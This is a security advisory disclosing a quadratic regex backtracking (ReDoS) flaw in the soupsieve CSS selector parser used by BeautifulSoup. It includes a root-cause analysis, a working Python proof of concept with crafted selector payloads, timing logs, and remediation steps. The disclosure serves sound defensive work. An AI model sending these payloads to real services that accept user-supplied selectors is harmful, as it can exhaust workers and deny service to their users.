PT-2026-105914 · Pypi · Soupsieve

Published

2026-10-01

·

Updated

2026-10-01

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — src/soupsieve/css parser.py

python
# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^x00-x2fx30-x40x5B-x5Ex60x7B-x9f]|{CSS ESCAPES})+|--)
(?:[^x00-x2cx2ex2fx3A-x40x5B-x5Ex60x7B-x9f]|{CSS ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:(?:.|{NEWLINE})|[^"r
f])*?"|'...'|{IDENTIFIER})'''
  • classA [^x00-x2fx30-x40x5B-x5Ex60x7B-x9f] excludes digits (0x30-0x39); classB [^x00-x2cx2ex2fx3A-x40x5B-x5Ex60x7B-x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
  • Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #12 — published artifact)

  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc redos compile.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc redos compile.py → same O(n²) (evidence: poc/evidence redos compile PUBLISHED 2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc redos compile.py)

python
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile time(sel):
  t0 = time.perf counter()
  try:
    sv.compile(sel)
    status = "ok"
  except Exception as e:
    status = type(e). name 
  return (time.perf counter() - t0), status

print(f"soupsieve {sv. version }
")

print("Payload A: '[a=' + 'a'*n  (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
  dt, st = compile time("[a=" + "a" * n)
  print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")

print("
Payload B: 'a'*n + '!'  (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
  dt, st = compile time("a" * n + "!")
  print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile time(payload)
print(f"
[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s  [{st}]")
End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence bs4 select PUBLISHED 2.8.4.log).

Evidence — HEAD 2.9 (verbatim poc/evidence redos compile.log)

soupsieve 2.9

Payload A: '[a=' + 'a'*n  (unterminated attribute value)
 n=1000  len=1003    214.8 ms [SelectorSyntaxError]
 n=2000  len=2003    504.7 ms [SelectorSyntaxError]
 n=4000  len=4003    2031.9 ms [SelectorSyntaxError]
 n=8000  len=8003    8091.3 ms [SelectorSyntaxError]

Payload B: 'a'*n + '!'  (identifier run + invalid trailing char)
 n=2000  len=2001     79.7 ms [SelectorSyntaxError]
 n=4000  len=4001    322.9 ms [SelectorSyntaxError]
 n=8000  len=8001    1328.9 ms [SelectorSyntaxError]
 n=16000 len=16001   5379.4 ms [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
[+] wall time = 18.28 s  [SelectorSyntaxError]

Evidence — published 2.8.4 (verbatim poc/evidence redos compile PUBLISHED 2.8.4.log)

soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
 n=1000  len=1003    113.9 ms [SelectorSyntaxError]
 n=2000  len=2003    457.2 ms [SelectorSyntaxError]
 n=4000  len=4003    1816.8 ms [SelectorSyntaxError]
 n=8000  len=8003    7299.0 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s  [SelectorSyntaxError]

Impact — calibrated

  • Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

Remediation

  • Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
  • Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
  • Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-4170

Affected Products

Soupsieve